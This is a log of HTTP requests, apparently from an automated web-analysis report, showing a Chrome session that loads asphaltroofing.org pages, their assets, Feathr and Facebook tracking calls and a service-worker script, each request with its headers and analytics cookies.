Source: global traffic	HTTP traffic detected: GET /guide-for-homeowners/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/guide-for-homeowners/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/guide-for-homeowners/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/guide-for-homeowners/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/roofing.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/guide-for-homeowners/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884067978 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/roofing.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884068907&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884069497 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/guide-for-homeowners/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: trigger;navigation-source, event-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884068907&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&rl=&if=false&ts=1713884069718&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-homeowners%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884069687&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884069497 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884069497User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /excellence/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/2024AwardsBanner-Submit.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
